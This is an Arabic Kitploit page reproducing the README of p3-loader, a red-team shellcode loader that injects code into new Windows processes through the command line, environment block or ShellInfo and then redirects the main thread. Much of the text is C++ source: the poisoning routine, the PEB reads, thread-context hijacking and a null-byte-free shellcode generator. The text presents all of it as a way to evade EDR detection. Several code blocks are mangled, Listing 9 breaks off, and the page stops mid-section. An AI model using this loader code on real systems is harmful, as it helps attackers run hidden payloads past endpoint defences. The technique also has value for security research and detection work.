Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
p3-loader — P³-Shellcode Loader هو أداة تحميل تنفّذ تقنية حقن كود تستفيد من بنية Process Parameters كموقع للتنفيذ والتخزين المرحلي لحقن الشيل كود في العمليات البعيدة، دون تفعيل آليات الكشف الشائعة. | Kitploit
أدوات/GitHubGitHub/orange-cyberdefense/p3-loader
أدوات دفاعيةتصعيد الامتيازاتالاستغلالشيل كودما بعد الاستغلالاختبار الاختراقالأوراق والأبحاثالتعلم والتعليمالفريق الأحمرتطوير الحمولاتاستغلال الملفات الثنائية
20423منذ شهر واحدتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
orange-cyberdefense/p3-loader

p3-loader

P³-Shellcode Loader هو أداة تحميل تنفّذ تقنية حقن كود تستفيد من بنية Process Parameters كموقع للتنفيذ والتخزين المرحلي لحقن الشيل كود في العمليات البعيدة، دون تفعيل آليات الكشف الشائعة.

عرض المستودع

P³-Shellcode Loader - حقن مُعاملات العملية (Process Parameter Poisoning)

المؤلفان: Max Hirschberger و Ogulcan Ugur


المحتويات

  1. مقدمة
  2. الحقن النموذجي للعمليات وواجهات برمجة تطبيقات النظام المعنية
  3. الأساس التقني لداخلية ويندوز المطلوبة
    • 3.1 واجهة برمجة إنشاء العملية ومعاملات البدء
    • 3.2 كتلة بيئة العملية (PEB)
  4. حقن مُعاملات العملية (P³)
    • 4.1 بدء عملية بمعامل مسموم
    • 4.2 تحديد موقع البيانات المحقونة في العملية الجديدة
    • 4.3 تنفيذ الكود المحقون
    • 4.4 طرق حقن الحمولة المنفَّذة
  5. تمرير كود شل عشوائي داخل سلسلة نصية
    • 5.1 الطرق المساعدة منخفضة المستوى المستخدمة من قِبل مولّد كود الشل
    • 5.2 تنفيذ العمليات عالية المستوى
  6. مزايا تفادي الاكتشاف باستخدام هذه التقنية
  7. نهج الاكتشاف
  8. الخاتمة
  9. المراجع

1. مقدمة

P³-Shellcode Loader هو أداة تحميل تنفّذ تقنية حقن كود تستفيد من بنية معاملات العملية (حقن مُعاملات العملية) كموقع تنفيذ ومرحلة تخزين لحقن كود الشل في العمليات البعيدة، دون تحفيز آليات الكشف الشائعة.

تم وصف مفهوم مشابه من قِبل الباحث الأمني modexp، الذي أظهر أن الوسائط الممرَّرة إلى واجهة CreateProcess-API يمكن استغلالها لهذا الغرض [1].


2. الحقن النموذجي للعمليات وواجهات برمجة تطبيقات النظام المعنية

يريد المهاجمون جعل أنشطتهم تبدو أقل إثارة للشك. من خلال حقن العمليات، يستطيع المهاجمون تنفيذ أنشطتهم من عملية مختلفة تكون أكثر موثوقية أو يُتوقع منها القيام بالنشاط المحدد، مما يقلل الشك.

فيما يلي الخطوات النموذجية المطلوبة لحقن كود في عملية أخرى:

  1. يبحث المهاجم عن عملية مستهدفة ويفتحها أو يبدأ عملية جديدة (عبر OpenProcess / NtOpenProcess أو CreateProcess / NtCreateProcess).
  2. يتم تخصيص ذاكرة للكود الخبيث في العملية المستهدفة (عبر VirtualAllocEx أو NtAllocateVirtualMemory).
  3. يُكتب الكود الخبيث في التخصيص الجديد (عبر WriteProcessMemory / NtWriteVirtualMemory).
  4. يتم تكوين حماية الوصول إلى الذاكرة للسماح بتنفيذ الكود الخبيث (عبر VirtualProtectEx / NtProtectVirtualMemory).
  5. يبدأ خيط جديد في العملية المستهدفة يقوم بتشغيل الكود الخبيث (عبر CreateRemoteThread أو NtCreateThreadEx).

تشمل تقنيات الحقن الإضافية على سبيل المثال لا الحصر ما يلي:

  • خطف الخيوط (Thread Hijacking): بدلاً من إنشاء خيط جديد، يتم إعادة توجيه خيط موجود (عبر NtSetContextThread)
  • حقن APC المبكر (Early-Bird APC-Injection): يستخدم استدعاءات الإجراءات غير المتزامنة (APCs) لإعادة توجيه تنفيذ خيط موجود (عبر NtQueueApcThread)
  • Dirty Vanity: يسيء استخدام واجهة ويندوز RtlCreateProcessReflection، التي تنفّذ تقسيم العمليات (process forking). في اختباراتنا، لاحظنا أن معظم حلول EDR تركز على بيانات تتبع محددة لاكتشاف حقن العمليات. تراقب حلول EDR بشكل أساسي استخدام WriteProcessMemory و VirtualAllocEx، بالإضافة إلى استدعاءات نظام kernel الأساسية الخاصة بها NtWriteVirtualMemory و NtAllocateVirtualMemory و NtAllocateVirtualMemoryEx.

3. الأساس التقني لداخلية ويندوز المطلوبة

3.1 واجهة برمجة إنشاء العملية ومعاملات البدء

توفر ويندوز دالة API CreateProcessW لإنشاء عمليات جديدة، كما هو موضح في Listing 1. المعاملات الثلاثة الأولى منها lpCommandLine و lpEnvironment و lpStartupInfo ذات صلة بتقنية الحقن الموصوفة، لأنها تُستخدم لنقل البيانات إلى العملية الجديدة.```c BOOL CreateProcessW( [in, optional] LPCWSTR lpApplicationName, [in, out, optional] LPWSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCWSTR lpCurrentDirectory, [in] LPSTARTUPINFOW lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation );

root@kitploit:~
*القائمة 1: تعريف دالة CreateProcessW في Windows API*
 
تحدد المعلمة `lpCommandLine` سطر الأوامر للعملية الجديدة. وهي محدودة بحد أقصى 32,767 حرفًا من أحرف Unicode، بما في ذلك مُنهي النهاية null الخاص بـ Unicode. بالنسبة للنسخة Unicode، من الضروري توفير سلسلة نصية يمكن للدالة الكتابة إليها. إذا تم توفير سلسلة نصية ثابتة، فإن أي محاولات كتابة تقوم بها دالة API تؤدي إلى انتهاك الوصول إلى الذاكرة. إذا كانت القيمة `NULL`، فسيتم أخذ سطر أوامر العملية من المعلمة `lpApplicationName`. إذا كانت `lpApplicationName` هي `NULL`، فيتعين توفيرها في حقل `lpCommandLine` وتكون محدودة بعدد `MAX_PATH` من الأحرف.
 
توفر المعلمة `lpEnvironment` قائمة بمتغيرات البيئة للعملية. إذا كانت القيمة `NULL`، فسيتم استخدام بيئة العملية المُنشِئة. تتكون قائمة متغيرات البيئة من سلاسل نصية متتالية تنتهي بـ null بالتنسيق `NAME=VALUE` مع مُنهي null إضافي في النهاية.
 
المعلمة `lpStartupInfo` هي بنية موضحة في القائمة 2 تحتوي على حقول مثل محطة النوافذ وسطح المكتب ومقابض الإدخال والإخراج القياسية بالإضافة إلى حقول تُهيئ النافذة الرئيسية للعملية الجديدة. وفقًا لتوثيق مايكروسوفت، فإن الحقل `lpReserved` محجوز للاستخدام الداخلي دون مزيد من التوثيق. من خلال التحليل باستخدام مصحح الأخطاء WinDbg، أمكن ربط هذه المعلمة بالمتغير `ShellInfo` من النوع `UNICODE_STRING` في العملية الجديدة.```c
typedef struct _STARTUPINFOW {
    DWORD  cb;
    LPWSTR lpReserved;   // Copied to ShellInfo (UNICODE_STRING)
    LPWSTR lpDesktop;
    LPWSTR lpTitle;
    DWORD  dwX;
    DWORD  dwY;
    DWORD  dwXSize;
    // (...) additional fields
    WORD   wShowWindow;
    WORD   cbReserved2;
    LPBYTE lpReserved2;
    HANDLE hStdInput;
    // (...) additional fields
} STARTUPINFOW, *LPSTARTUPINFOW;

القائمة 2: تخطيط بنية بيانات STARTUPINFOW

3.2 كتلة بيئة العملية (PEB)

عند إنشاء عملية جديدة، تتم كتابة جميع معاملات العملية المقدَّمة إلى كتلة بيئة العملية (PEB). إن PEB هي بنية بيانات موجودة في جميع العمليات وفريدة لكل عملية. يمكن الوصول إلى المعاملات داخل العضو ProcessParameters من النوع RTL_USER_PROCESS_PARAMETERS. بالإضافة إلى معاملات العملية، تتضمن هذه البنية أيضًا معلومات وقت تشغيل إضافية، مثل قائمة بالوحدات النمطية المحمّلة. تظهر بنية PEB ومعاملات العملية ذات الصلة في RTL_USER_PROCESS_PARAMETERS في القائمة 3 والقائمة 4.```c typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; // (...) additional fields PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; // (...) additional fields } PEB, *PPEB;

root@kitploit:~
*القائمة 3: تخطيط بنية بيانات PEB*```c
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    // (...) additional fields
    CURDIR         CurrentDirectory;
    UNICODE_STRING DllPath;       // Potential candidate for transfer
    UNICODE_STRING ImagePathName; // Potential candidate for transfer
    UNICODE_STRING CommandLine;   // Primary candidate for transfer
    PVOID          Environment;   // Primary candidate for transfer
    // (...) additional fields
    UNICODE_STRING ShellInfo;     // Primary candidate for transfer
                                  // (lpReserved in STARTUPINFO)
    UNICODE_STRING RuntimeData;   // Potential candidate for transfer
    // (...) additional fields
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

القائمة 4: تخطيط بنية بيانات RTL_USER_PROCESS_PARAMETERS

يوضح الشكل 1 معامل ShellInfo مع قيمة التسميم المقدمة في حقل lpReserved لبنية STARTUPINFOW. علاوة على ذلك، يوضح الشكل 2 سطر الأوامر المتحكم فيه داخل أداة System Informer.

image

الشكل 1: معامل ShellInfo المسموم

image

الشكل 2: سطر الأوامر المسموم


4. تسميم معاملات العملية (P³)

4.1 بدء عملية بمعامل مسموم

نظرًا لوجود معاملات متعددة يمكن استخدامها لنسخ التعليمات البرمجية الخبيثة، فإن الدالة المغلفة في القائمة 5 تنشئ عملية مع تمرير وسيط التسميم إلى معامل العملية المختار. عند تشغيل الحاقن المنفذ، يمكن اتخاذ هذا الاختيار كما هو موضح في الشكل 3. علاوة على ذلك، يمكن توفير أي قيمة للتطبيق الهدف الذي سيُستخدم في lpApplication، مع موجه المستخدم الموضح في الشكل 4.```cpp BOOL CreateProcessWithPoison (int choice, PWCHAR lpApplication, PWCHAR poisonParameter, PPROCESS_INFORMATION pi) { STARTUPINFOW si = { 0 }; switch (choice) { case 1: // Injection via ShellInfo (lpReserved) printf("[] Writing into ShellInfo...\n"); si.lpReserved = poisonParameter; return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi); case 2: // Injection via Environment block printf("[] Writing into Environment block...\n"); return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, poisonParameter, NULL, &si, pi); case 3: // Injection via CommandLine printf("[~] Writing into CommandLine...\n"); return CreateProcessW(lpApplication, poisonParameter, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi); default: return FALSE; } }

root@kitploit:~
*القائمة 5: تنفيذ CreateProcessWithPoison*
 
تنفّذ هذه الدالة ثلاثة خيارات مميزة للمعاملات:
 
1. **حقن ShellInfo:** يضع السم في حقل `lpReserved` من معامل `lpStartupInfo` الذي سيُنسخ إلى متغير `ShellInfo` في PEB
2. **حقن البيئة:** يضع السم في معامل `lpEnvironment` مع العلم `CREATE_UNICODE_ENVIRONMENT`
3. **حقن سطر الأوامر:** يضع السم في معامل `lpCommandLine` الخاص بـ `CreateProcessW`

<img width="753" height="445" alt="صورة" src="https://assets.kitploit.com/production/public/readmes/42034/878e41931d49b82212556e099ba928cab890d427cd87498fb667f3e0965dbbe1.png" />


*الشكل 3: اختيار المعامل القابل للتسميم*


<img width="752" height="167" alt="صورة" src="https://assets.kitploit.com/production/public/readmes/42034/a128d8601b3edcfbf31ba3aa3c10fe995910fc932973a6d86e263f6edafb1bb8.png" />

 
*الشكل 4: اختيار التطبيق المستهدف القابل للتنفيذ*
 
### 4.2 تحديد موقع البيانات المحقونة في العملية الجديدة
 
بعد نجاح إنشاء العملية، يمكن العثور على البيانات المحقونة عبر بنية PEB. يلزم تنفيذ الخطوات الثلاث التالية لتحديد موقع السم في العملية الجديدة.
 
أولاً، يتم تحديد عنوان البداية لبنية PEB عن طريق استدعاء `NtQueryInformationProcess`. يسترجع `NtQueryInformationProcess` بنية البيانات `PROCESS_BASIC_INFORMATION` عند استدعائه بفئة المعلومات `ProcessBasicInformation`. وتحتوي `PROCESS_BASIC_INFORMATION` على عنوان PEB في حقل `PebBaseAddress`. تظهر هذه الخطوة في القائمة 6.```cpp
WinApiResolver winapi = WinApiResolver::GetInstance();
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen;
winapi.NtQueryInformationProcess(
    pi.hProcess,             // Handle of the new process
    ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION
    &pbi,                    // Destination
    sizeof(pbi),             // Size of the destination
    &retLen                  // Resulting size of what was read
);

Listing 6: الخطوة الأولى لتحديد موقع البيانات المحقونة

في الخطوة الثانية، تتم قراءة بنية PEB عن طريق استدعاء NtReadVirtualMemoryEx مع عنوان بداية البنية التي تم استرجاعها في الخطوة الأولى. يظهر تنفيذ الخطوة الثانية في Listing 7.```cpp PEB pebLocal = { 0 }; SIZE_T bytesRead; NTSTATUS status = winapi.NtReadVirtualMemoryEx( pi.hProcess, // Handle of the new process pbi.PebBaseAddress, // Starting address of the PEB &pebLocal, // Destination / Local copy of the PEB sizeof(pebLocal), // Size to be read &bytesRead, // Resulting size of what was read 0 // Reserved parameter );

root@kitploit:~
*القائمة 7: الخطوة الثانية لتحديد موقع البيانات المحقونة*
 
بعد قراءة PEB، يحتوي الحقل `ProcessParameters` على عنوان البداية لبنية `RTL_USER_PROCESS_PARAMETERS` في العملية الجديدة. في الخطوة الثالثة، تُقرأ هذه البنية أيضًا من العملية الجديدة. توجد المؤشرات إلى البيانات المحقونة داخل هذه البنية. تظهر الخطوة الثالثة في القائمة 8.```cpp
RTL_USER_PROCESS_PARAMETERS parameters = { 0 };
status = winapi.NtReadVirtualMemoryEx(
    pi.hProcess,                // Handle of target process
    pebLocal.ProcessParameters, // ProcessParameters address in target
    &parameters,                // Output buffer / Local copy
    sizeof(parameters),         // Size to be read
    &bytesRead,                 // Resulting size of what was read
    0                           // Reserved parameter
);

القائمة 8: الخطوة الثالثة لتحديد موقع البيانات المحقونة

هذا الأسلوب يستخدم فقط واجهات برمجة تطبيقات قراءة الذاكرة، ولا يستخدم أي واجهة كتابة أو تخصيص تركز عليها أنظمة EDR. ومع ذلك، هناك قيد واحد تفرضه المعاملات. نظرًا لأن هذه المعاملات عبارة عن سلاسل منتهية بقيمة null، فإنه يمكن نقل shellcode الذي لا يحتوي على null في نهايته بشكل كامل فقط. يُقدَّم حل لتجاوز هذا القيد في القسم 5.

4.3 تنفيذ الكود المحقون

بعد نقل الكود، لا يزال يتعين توجيه تنفيذ العملية إلى الكود. علاوة على ذلك، يجب تعديل حماية ذاكرة البيانات المحقونة، لأن المعاملات لا توضع في مناطق مُعلَّمة بأنها قابلة للتنفيذ.

لتغيير الحماية، يتم استخدام واجهة برمجة تطبيقات Windows NtProtectVirtualMemory لتغيير الحماية من قابلة للقراءة والكتابة فقط إلى قابلة للقراءة والتنفيذ فقط.

لإعادة توجيه تنفيذ الكود إلى shellcode، توجد الطرق الثلاث التالية:

  • CreateRemoteThread / NtCreateThreadEx: إنشاء خيط جديد يبدأ عند shellcode
  • QueueUserAPC / NtQueueApcThread: وضع APC في قائمة انتظار على خيط موجود بحيث يؤدي في النهاية إلى إعادة توجيهه إلى shellcode
  • التلاعب بسياق الخيط: تعديل مؤشر التعليمات لخيط موجود لنقل تنفيذه إلى shellcode أثناء التنفيذ الأولي لهذه التقنية، تم تقييم أسلوب Dirty Vanity لتنفيذ الكود. ومع ذلك، أثارت عدة أنظمة EDR تنبيهات لهذه الطريقة.

أظهرت نظرة مفصلة على تنفيذ RtlCreateProcessReflection أنه يقوم باستدعاءات إلى NtWriteVirtualMemory وNtCreateThreadEx. في الأساس، ينشئ خيطًا في عملية مستهدفة لتنفيذ دالة داخل ntdll.dll. وهذه الدالة تنشئ العملية المتفرعة عن طريق استدعاء RtlCloneUserProcess وتقوم أيضًا بكتابة في ذاكرة العملية المتفرعة.

نظرًا لأن NtWriteVirtualMemory يُعد أحد المؤشرات الأساسية التي تستخدمها أنظمة EDR، فإن طريقة Dirty Vanity لا تثير سوى شكوكًا تتجاوز ما هو ضروري.

بدلاً من ذلك، يُستخدم التلاعب بسياق الخيط الرئيسي، لأنه يوفر المزايا التالية مقارنةً بـ Dirty Vanity:

  • توفر مقابض الخيوط: توفر CreateProcessW بالفعل مقبضًا صالحًا للخيط الرئيسي داخل بنية PROCESS_INFORMATION. المقبض هو كائن مرجعي مجرد توفره النواة للتفاعل مع موارد النظام، مثل العمليات والخيوط والملفات. المقابض هي في الأساس فهارس في جداول مقابض خاصة بالعملية، تعيّن كل مقبض إلى كائن في النواة مع مستوى وصول مرتبط بهذا الكائن.
  • تجنب استدعاءات واجهات برمجة التطبيقات المشبوهة: لا يتم استخدام NtWriteVirtualMemory أو VirtualAllocEx أو CreateRemoteThread أبدًا، بل يتم استدعاء NtSetContextThread فقط. سياق الخيط هو حالة جميع سجلات المعالج. لذلك من الممكن إعادة توجيه تدفق تنفيذ الخيط عن طريق التلاعب بسياقه، أي بتغيير سجل مؤشر التعليمات. عادةً، يتم التلاعب بسياق الخيط عبر الخطوات التالية:
  1. تعليق الخيط: يتم وضع الخيط المستهدف في حالة معلّقة إما عن طريق استدعاء SuspendThread أو عن طريق إنشائه في حالة معلّقة

  2. قراءة السياق: تتم قراءة السياق الحالي في بنية بيانات CONTEXT عبر GetThreadContext

  3. تعديل السياق: يتم إجراء التغييرات المطلوبة على السياق، مثل تغيير سجل مؤشر التعليمات RIP

  4. تطبيق السياق: تتم كتابة السياق المعدَّل إلى الخيط عن طريق استدعاء SetThreadContext

  5. استئناف الخيط: يتم استدعاء ResumeThread لاستئناف تنفيذ الخيط عند القيمة الجديدة لـ RIP يمكن تغيير سياق الخيط دون تعليقه أولاً. لذلك ليس من الضروري استدعاء SuspendThread وResumeThread اللذين قد تراقبهما أنظمة EDR لاكتشاف حقن العمليات. علاوة على ذلك، يمكن أيضًا تخطي استدعاء GetThreadContext إذا لم تكن هناك حاجة لاستعادة التنفيذ السابق في نقطة لاحقة. يظهر التنفيذ الناتج في القائمة 9.```cpp NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode) { CONTEXT ctx; ctx = { 0 }; ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL flag is enough WinApiResolver winapi = WinApiResolver::GetInstance(); NTSTATUS status = 0;

root@kitploit:~
*القائمة 9: التلاعب بسياق الخيط في ThreadSetExec*

### 4.4 حقن الحمولات المنفذة

يتضمّن تطبيقنا لتقنية الحقن هذه الخيارات الأربعة التالية للحمولات، كما هو موضح في الشكل 5.

1. الخيار الأول هو عرض تجريبي بسيط يعرض نافذة منبثقة وهو موضح في الشكل 5. لا يتطلب هذا الخيار أي shellcode إضافي أو ملفات تنفيذية سيتم حقنها.
2. الخيار الثاني يأخذ تمثيلًا سداسيًا عشريًا للـ shellcode ويحقنه. إذا كان الـ shellcode يحتوي على بايتات صفرية، فسيتم حقنه بالطريقة الموصوفة في القسم 5.
3. الخيار الثالث يقبل مسارًا لملف DLL ثم يُمرَّر إلى `LoadLibraryA` داخل الهدف.
4. أخيرًا، يقوم الخيار الرابع بتحميل shellcode خام من عنوان HTTP(S) URL ويتعامل أيضًا مع قيد البايتات الصفرية.

<img width="598" height="200" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/f98211120a8cba1628a3514f30befdc7e8ba315cec4148f071216ee5647b7c9b.png" />

*الشكل 5: اختيار الـ shellcode المُحقن*

<img width="841" height="556" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/3d662981ef5fe16b62eb12c934ba483f9cb75e87343e5ea330de69b2ed5f2985.png" />

*الشكل 6: صندوق الرسائل المنشأ بواسطة الـ shellcode*

---

## 5. تمرير shellcode عشوائي في سلسلة نصية

ليس من الممكن تمرير أي بيانات عشوائية ضمن المعاملات (parameters). والسبب أن البيانات التي تصل إلى فاصل النهاية الفارغ (null-terminator) فقط هي التي ستُنسخ. لتجاوز هذا القيد، قمنا ببناء مولّد shellcode لا يُصدر فواصل نهاية فارغة.

يمكن لمولّد الـ shellcode هذا إنشاء shellcode لاستدعاء `MessageBoxA` أو `LoadLibraryA` أو `NtTerminateProcess` أو `NtSuspendThread` بأي معاملات. علاوةً على ذلك، يمكنه توليد shellcode يفك تشفير مرحلة ثانية عشوائية من الـ shellcode ثم يقفز إليها.

تم تنفيذه في كلاس C++ المسمى `ShellCodeWriter` مع طرق مساعدة خاصة وطرق عامة للوظائف المكشوفة. سيتم شرح تفاصيل التنفيذ فيما يلي.

### 5.1 طرق المساعدة منخفضة المستوى المستخدمة في مولّد الـ shellcode

يُستخدم `Xor` كبدائية (primitive) تسمح للـ shellcode بتوليد أي بيانات، بما في ذلك البايتات الصفرية. هذه البدائية مُنفَّذة في الطريقة المساعدة `SetRAXXOR` التي تأخذ قيمتين من 64 بت. تصدر shellcode ينفّذ عملية xor مع القيمتين المعطاتين من 64 بت ويحفظ النتيجة في سجل `RAX`.

الطريقة المساعدة الإضافية `SetRAX` تنشئ هاتين القيمتين من 64 بت، اللتين عند إجراء xor عليهما تنتجان قيمة معينة. كما تضمن أن هاتين القيمتين من 64 بت لا تحتويان على أي بايتات صفرية. باختصار، تصدر `SetRAX` shellcode يضبط سجل `RAX` على أي قيمة من 64 بت.

تظهر كل من `SetRAXXOR` و `SetRAX` في القائمة 10. بالإضافة إلى ذلك، يظهر الكود الآلي الناتج عن ثلاثة أمثلة لاستدعاءات `SetRAX` في القائمة 11.```cpp
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
    const char gadget[] =
        "\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
        "\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
        "\x4C\x31\xF8";                              // xor rax, r15
    uint64_t* xor_a = (uint64_t*)(gadget + 2);
    uint64_t* xor_b = (uint64_t*)(gadget + 12);
    *xor_a = xor_a_value;
    *xor_b = xor_b_value;
    AppendShellCode(gadget, 23);
}
 
void ShellCodeWriter::SetRAX(uint64_t value)
{
    if (value == 0)
    {
        AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
        return;
    }
    uint64_t xor_a = 0, xor_b = 0x0101010101010101;
    // Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes
    for (int i = 0; i < 8; i++)
    {
        if (((uint8_t*)(&value))[i] == 0x01)
        {
            ((uint8_t*)(&xor_b))[i] = 0x02;
        }
    }
    xor_a = value ^ xor_b;
    SetRAXXOR(xor_a, xor_b);
}

القائمة 10: تنفيذ SetRAXXOR و SetRAX```asm ; SetRAX(0) xor rax, rax

; SetRAX(0xDEADBEEF) mov rax, 0x01010101DFACBFEE mov r15, 0x0101010101010101 xor rax, r15

; SetRAX(1) mov rax, 0x0101010101010103 mov r15, 0x0101010101010102 xor rax, r15

root@kitploit:~
*القائمة 11: أمثلة على الكود المُصدَر بواسطة SetRAX*
 
تُعد `SetRAX` الأساس للطرق المساعدة `PushValue` و`PushBuffer` و`SetArgRegister` و`SetArgRegisterStackRelative`. تستدعي `PushValue` الدالة `SetRAX` وتتبعها بتعليمة `push RAX`، مما يتيح دفع قيم عشوائية إلى المكدس. تستخدم `PushBuffer` الدالة `PushValue` لكتابة مصفوفة بايتات عشوائية على المكدس؛ وللقيام بذلك، تقوم بتقسيم البيانات إلى قيم 64 بت ودفعها بترتيب عكسي. يجب عكس الترتيب، لأن مؤشر المكدس يتناقص بعد كل عملية دفع. يتتبع مولّد الشيلكود عدد البايتات التي تم دفعها باستخدام المتغير `m_total_consumed_stack_bytes`. يُستخدم هذا المتغير في الطريقة المساعدة `FreeStack` لتنظيف المكدس وإعادة مؤشر المكدس إلى قيمته الأولية.
 
في واجهة التطبيق الثنائية لنظام Windows لبنية x86 ذات 64 بت، تُستخدم السجلات `RCX` و`RDX` و`R8` و`R9` للوسائط الأربع الأولى عند استدعاء دالة. تُدفع الوسائط الإضافية على المكدس، بعد مساحة ظل (shadow space) بحجم 32 بايت. تُحجز مساحة الظل للدالة المستدعاة وتُستخدم لحفظ سجلات الوسائط الأربعة الأولى. تُستخدم `SetArgRegister` و`SetArgRegisterStackRelative` لتعيين أحد سجلات الوسائط الأربعة هذه. تقوم `SetArgRegister` بتعيين سجل معيّن إلى قيمة ثابتة عشوائية. أما الكود المُولَّد بواسطة `SetArgRegisterStackRelative` فيكتب مؤشر المكدس مضافًا إليه إزاحة ثابتة إلى سجل الوسيطة المقابل. يمكن دفع أي وسائط إضافية للدالة باستخدام الطريقة المساعدة `PushValue`.
 
تصدر الطريقة المساعدة `Call` كودًا يضبط محاذاة مؤشر المكدس إلى 16 بايت، ثم ينفذ استدعاءً إلى العنوان المحدد، وأخيرًا يتراجع عن أي تغيير في المحاذاة أجراه في البداية. يُعد مؤشر المكدس بمحاذاة 16 بايت أمرًا ضروريًا لمنع التعطل في الدوال التي تستخدم عمليات سجلات الفاصلة العائمة XMM. عند استدعاء دوال ذات وسائط تُمرَّر عبر المكدس، يجب أن تكون المحاذاة صحيحة قبل استدعاء هذه الطريقة المساعدة. وإلا، فستستقر الوسائط في إزاحة مكدس خاطئة.
 
### 5.2 تنفيذ العمليات عالية المستوى
 
أبسط عملية هي استدعاء `NtTerminateProcess` أو `NtSuspendThread`. نظرًا لتشابههما، سيتم تغطية `NtTerminateProcess` فقط، وهو موضح في القائمة 12. تأخذ `NtTerminateProcess` معاملين وتتبع اصطلاح استدعاء x64. أولًا، تُستدعى الطريقة المساعدة `SetArgRegister` لكلا المعاملين، لتهيئتهما بالقيم المقدمة. ثم تُستدعى دالة API.
 
نظرًا لأن الشيلكود يُولَّد على نفس الجهاز، يتم تحديد عنوان الدالة في وقت التوليد وليس داخل الشيلكود. تتولى الفئة `WinApiResolver` تحديد عناوين دوال API. أخيرًا، تولّد الطريقة المساعدة `Call` تعليمة الاستدعاء وكود محاذاة المكدس.```cpp
void ShellCodeWriter::CallTerminateProcess
(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
    SetArgRegister(0, (uint64_t)ProcessHandle);
    SetArgRegister(1, ExitStatus);
    WinApiResolver winapi = WinApiResolver::GetInstance();
    Call((uint64_t)winapi.NtTerminateProcess);
}

القائمة 12: تنفيذ ShellCodeWriter::CallTerminateProcess

لا يمكن استخدام الدوال التي تأخذ قيم مؤشرات مثل LoadLibraryA و MessageBoxA بالطريقة نفسها. وذلك لأن عنوان ذاكرة صالحاً مطلوب، وهوالعنوان غير معروف وقت توليد الشيلكود. لذلك تُستخدم الأداة المساعدة SetArgRegisterStackRelative لتعيين الوسيط إلى عنوان على المكدس. في القائمة 13، تُكتب سلسلة معامل الوحدة النمطية إلى المكدس ويُضبط سجل الوسيط الأول ليشير إلى بداية سلسلة الوحدة النمطية على المكدس. علاوةً على ذلك، تُزيح الدالة مؤشر المكدس بمقدار 32 بايت لمراعاة مساحة الظل. وبدون ذلك، كانت الدالة المُستدعاة ستستبدل سلسلة الوحدة النمطية.```cpp void ShellCodeWriter::CallLoadLibraryA(LPCSTR module) { PushBuffer(module, strlen(module) + 1); int pos_buf = m_total_consumed_stack_bytes; // Shadow Space AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32 m_total_consumed_stack_bytes += 32; // Populate arg registers SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_buf)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.LoadLibraryA); }

root@kitploit:~
*القائمة 13: تنفيذ `ShellCodeWriter::CallLoadLibraryA`*
 
أخيرًا، تأخذ الدالة `LoadAndCallShellCode` شيل كود عشوائيًا يمكن أن يحتوي على بايتات صفرية وتنفّذه. يظهر تنفيذها في القائمتين 14 و15 وينقسم إلى العمليات الخمس التالية:
 
1. تتم كتابة الشيل كود العشوائي إلى المكدس عبر `PushBuffer`. بعد ذلك، يتم تخصيص مساحة الظل لحماية الشيل كود من الاستبدال.
2. بعد ذلك، يتم إجراء استدعاء بسيط للدالة `VirtualAlloc` يستخدم معاملات معروفة مسبقًا في وقت التوليد. يخصص هذا الاستدعاء ذاكرة محمية بصلاحيات القراءة والكتابة وتتسع للشيل كود.
3. بعد ذلك، يتم حفظ عنوان الذاكرة الذي أرجعه `VirtualAlloc` في السجلّين `R12` و`R10`. ثم تتم تهيئة `R11` ليمثل حجم الشيل كود، ويتم تعيين `RCX` ليشير إلى بداية الشيل كود. ومع ضبط السجلات `R10` و`R11` و`RCX`، تتبع ست تعليمات تنفّذ نسخًا للذاكرة، بنسخ الشيل كود إلى منطقة الذاكرة المخصصة حديثًا.
